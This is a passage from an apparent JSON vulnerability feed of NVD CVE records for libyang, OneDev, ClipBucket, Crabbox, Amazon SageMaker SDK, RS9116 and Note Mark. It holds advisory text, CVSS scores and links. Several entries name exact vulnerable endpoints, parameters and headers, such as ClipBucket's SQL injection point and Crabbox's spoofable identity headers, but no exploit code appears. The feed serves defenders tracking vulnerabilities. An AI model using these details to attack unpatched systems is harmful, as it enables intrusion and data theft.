2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44673","cveId":"CVE-2026-44673","aliases":[],"kind":"vulnerability","title":"libyang is a YANG data modeling language library.","summary":"libyang is a YANG data modeling language library. Prior to SO 5.2.15, lyb_read_string() in src/parser_lyb.c contains an integer overflow that results in a heap buffer overflow when parsing a maliciously crafted LYB binary blob. An attacker who can supply LYB data to any libyang consumer (NETCONF server, sysrepo, etc.) can trigger a crash or potential heap corruption. This vulnerability is fixed in SO 5.2.15.","detail":"libyang is a YANG data modeling language library. Prior to SO 5.2.15, lyb_read_string() in src/parser_lyb.c contains an integer overflow that results in a heap buffer overflow when parsing a maliciously crafted LYB binary blob. An attacker who can supply LYB data to any libyang consumer (NETCONF server, sysrepo, etc.) can trigger a crash or potential heap corruption. This vulnerability is fixed in SO 5.2.15.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T21:16:47.500Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44673","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44673","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44673","type":"primary","publishedAt":"2026-05-14T21:16:47.500Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44647","cveId":"CVE-2026-44647","aliases":[],"kind":"vulnerability","title":"OneDev is a Git server with CI/CD, kanban, and packages.","summary":"OneDev is a Git server with CI/CD, kanban, and packages. Prior to 15.0.2, there is behavior that breaks the expected boundary between repository-controlled LFS metadata and server-local filesystem paths. A repository object can steer raw blob reads to arbitrary local files that the server account can access. User with push permission to any repository will be able to access any server files accessible by server process. This vulnerability is fixed in 15.0.2.","detail":"OneDev is a Git server with CI/CD, kanban, and packages. Prior to 15.0.2, there is behavior that breaks the expected boundary between repository-controlled LFS metadata and server-local filesystem paths. A repository object can steer raw blob reads to arbitrary local files that the server account can access. User with push permission to any repository will be able to access any server files accessible by server process. This vulnerability is fixed in 15.0.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T21:16:46.967Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44647","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44647","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44647","type":"primary","publishedAt":"2026-05-14T21:16:46.967Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42847","cveId":"CVE-2026-42847","aliases":[],"kind":"vulnerability","title":"ClipBucket v5 is an open source video sharing platform.","summary":"ClipBucket v5 is an open source video sharing platform. Prior to 5.5.3 - #122, there is a critical SQL Injection (SQLi) vulnerability in ClipBucket, exploitable through the type parameter on the authenticated admin endpoint admin_area/action_logs.php. The endpoint admin_area/action_logs.php reads $_GET['type'], stores it in $result_array['type'], and forwards it into fetch_action_logs(), where the value is concatenated directly into a SQL WHERE condition on action_type without parameterization. This allows UNION-based SQL injection and direct data exfiltration from the database. This vulnerability is fixed in 5.5.3 - #122.","detail":"ClipBucket v5 is an open source video sharing platform. Prior to 5.5.3 - #122, there is a critical SQL Injection (SQLi) vulnerability in ClipBucket, exploitable through the type parameter on the authenticated admin endpoint admin_area/action_logs.php. The endpoint admin_area/action_logs.php reads $_GET['type'], stores it in $result_array['type'], and forwards it into fetch_action_logs(), where the value is concatenated directly into a SQL WHERE condition on action_type without parameterization. This allows UNION-based SQL injection and direct data exfiltration from the database. This vulnerability is fixed in 5.5.3 - #122.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T21:16:46.393Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42847","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42847","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42847","type":"primary","publishedAt":"2026-05-14T21:16:46.393Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8629","cveId":"CVE-2026-8629","aliases":[],"kind":"vulnerability","title":"Crabbox prior to v0.12.0 contains a privilege escalation vulnerability that allows users with shared visibility-only access to obtain Code, WebVNC, and Egress agent tickets by...","summary":"Crabbox prior to v0.12.0 contains a privilege escalation vulnerability that allows users with shared visibility-only access to obtain Code, WebVNC, and Egress agent tickets by sending POST requests to ticket endpoints. Attackers can exploit insufficient access control checks on the /v1/leases/:id/code/ticket, /v1/leases/:id/webvnc/ticket, and /v1/leases/:id/egress/ticket endpoints to obtain bridge-agent tickets and impersonate trusted lease-side bridges despite having only visibility permissions.","detail":"Crabbox prior to v0.12.0 contains a privilege escalation vulnerability that allows users with shared visibility-only access to obtain Code, WebVNC, and Egress agent tickets by sending POST requests to ticket endpoints. Attackers can exploit insufficient access control checks on the /v1/leases/:id/code/ticket, /v1/leases/:id/webvnc/ticket, and /v1/leases/:id/egress/ticket endpoints to obtain bridge-agent tickets and impersonate trusted lease-side bridges despite having only visibility permissions.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:21.567Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8629","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8629","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8629","type":"primary","publishedAt":"2026-05-14T20:17:21.567Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8597","cveId":"CVE-2026-8597","aliases":[],"kind":"vulnerability","title":"Missing integrity verification in the Triton inference handler in Amazon SageMaker Python SDK v2 before v2.257.2 and v3 before v3.8.0 might allow a remote authenticated actor to...","summary":"Missing integrity verification in the Triton inference handler in Amazon SageMaker Python SDK v2 before v2.257.2 and v3 before v3.8.0 might allow a remote authenticated actor to achieve code execution in inference containers via replacement of model artifacts in S3 with a specially crafted pickle payload that is deserialized without verification. This issue requires a remote authenticated actor with S3 write access to the model artifact path.\n\n\n\nTo remediate this issue, we recommend upgrading to Amazon SageMaker Python SDK v2.257.2 or v3.8.0 and rebuild any Triton models previously created with ModelBuilder using the updated SDK.","detail":"Missing integrity verification in the Triton inference handler in Amazon SageMaker Python SDK v2 before v2.257.2 and v3 before v3.8.0 might allow a remote authenticated actor to achieve code execution in inference containers via replacement of model artifacts in S3 with a specially crafted pickle payload that is deserialized without verification. This issue requires a remote authenticated actor with S3 write access to the model artifact path.\n\n\n\nTo remediate this issue, we recommend upgrading to Amazon SageMaker Python SDK v2.257.2 or v3.8.0 and rebuild any Triton models previously created with ModelBuilder using the updated SDK.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:21.340Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8597","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8597","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8597","type":"primary","publishedAt":"2026-05-14T20:17:21.340Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8596","cveId":"CVE-2026-8596","aliases":[],"kind":"vulnerability","title":"Cleartext storage of sensitive information in the ModelBuilder/Serve component in Amazon SageMaker Python SDK before v2.257.2 and v3 before v3.8.0 might allow a remote...","summary":"Cleartext storage of sensitive information in the ModelBuilder/Serve component in Amazon SageMaker Python SDK before v2.257.2 and v3 before v3.8.0 might allow a remote authenticated actor to extract the HMAC signing key from SageMaker API responses and forge valid integrity signatures for specially crafted model artifacts, achieving code execution in inference containers. This issue requires a remote authenticated actor with permissions to call SageMaker describe APIs and S3 write access to the model artifact path.\n\n\n\nTo remediate this issue, we recommend upgrading to Amazon SageMaker Python SDK v2.257.2 or v3.8.0 and rebuild any models previously created with ModelBuilder using the updated SDK.","detail":"Cleartext storage of sensitive information in the ModelBuilder/Serve component in Amazon SageMaker Python SDK before v2.257.2 and v3 before v3.8.0 might allow a remote authenticated actor to extract the HMAC signing key from SageMaker API responses and forge valid integrity signatures for specially crafted model artifacts, achieving code execution in inference containers. This issue requires a remote authenticated actor with permissions to call SageMaker describe APIs and S3 write access to the model artifact path.\n\n\n\nTo remediate this issue, we recommend upgrading to Amazon SageMaker Python SDK v2.257.2 or v3.8.0 and rebuild any models previously created with ModelBuilder using the updated SDK.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:21.183Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8596","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8596","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8596","type":"primary","publishedAt":"2026-05-14T20:17:21.183Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-3290","cveId":"CVE-2026-3290","aliases":[],"kind":"vulnerability","title":"Timing limitations of the HRNG in RS9116 when power save mode is enabled results in predictable values","summary":"Timing limitations of the HRNG in RS9116 when power save mode is enabled results in predictable values","detail":"Timing limitations of the HRNG in RS9116 when power save mode is enabled results in predictable values\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:04.093Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-3290","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-3290","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-3290","type":"primary","publishedAt":"2026-05-14T20:17:04.093Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8621","cveId":"CVE-2026-8621","aliases":[],"kind":"vulnerability","title":"Crabbox prior to v0.12.0 contains an authentication bypass vulnerability that allows non-admin shared-token callers to impersonate other owners or organizations by spoofing...","summary":"Crabbox prior to v0.12.0 contains an authentication bypass vulnerability that allows non-admin shared-token callers to impersonate other owners or organizations by spoofing identity headers. Attackers can inject malicious X-Crabbox-Owner and X-Crabbox-Org headers in requests authenticated with a shared token to bypass authorization checks and access owner/org-scoped lease operations belonging to victim accounts.","detail":"Crabbox prior to v0.12.0 contains an authentication bypass vulnerability that allows non-admin shared-token callers to impersonate other owners or organizations by spoofing identity headers. Attackers can inject malicious X-Crabbox-Owner and X-Crabbox-Org headers in requests authenticated with a shared token to bypass authorization checks and access owner/org-scoped lease operations belonging to victim accounts.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T19:16:39.517Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8621","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8621","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8621","type":"primary","publishedAt":"2026-05-14T19:16:39.517Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44522","cveId":"CVE-2026-44522","aliases":[],"kind":"vulnerability","title":"Note Mark is an open-source note-taking application.","summary":"Note Mark is an open-source note-taking application. From 0.13.0 to before 0.19.4, the Note Mark application allows authenticated users to upload assets to notes via POST /api/notes/{noteID}/assets, where the asset filename is provided through the X-Name HTTP request header. This value is stored directly in the database without any sanitization or validation - no path separator filtering, no directory traversal sequence rejection, and no use of filepath.Base() to strip directory components. The unsanitized name is persisted as-is in the note_assets table (Name column, varchar(80)). When an administrator subsequently runs the data export CLI commands (note-mark migrate export-v1 or note-mark migrate export), the stored asset name is passed directly into filepath.Join() and path.Join() calls as part of the output file path argument to os.Create(). Since Go's filepath.Join() resolves ../ sequences during path normalization, an attacker-controlled asset name containing directory traversal sequences causes the export process to write files to arbitrary locations on the filesystem, completely outside the intended export directory. This vulnerability is fixed in 0.19.4.","detail":"Note Mark is an open-source note-taking application. From 0.13.0 to before 0.19.4, the Note Mark application allows authenticated users to upload assets to notes via POST /api/notes/{noteID}/assets, where the asset filename is provided through the X-Name HTTP request header. This value is stored directly in the database without any sanitization or validation - no path separator filtering, no directory traversal sequence rejection, and no use of filepath.Base() to strip directory components. The unsanitized name is persisted as-is in the note_assets table (Name column, varchar(80)). When an administrator subsequently runs the data export CLI commands (note-mark migrate export-v1 or note-mark migrate export), the stored asset name is passed directly into filepath.Join() and path.Join() calls as part of the output file path argument to os.Create(). Since Go's filepath.Join() resolves ../ sequences during path normalization, an attacker-controlled asset name containing directory traversal sequences causes the export process to write files to arbitrary locations on the filesystem, completely outside the intended export directory. This vulnerability is fixed in 0.19.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T19:16:37.330Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44522","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44522","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44522","type":"primary","publishedAt":"2026-05-14T19:16:37.330Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 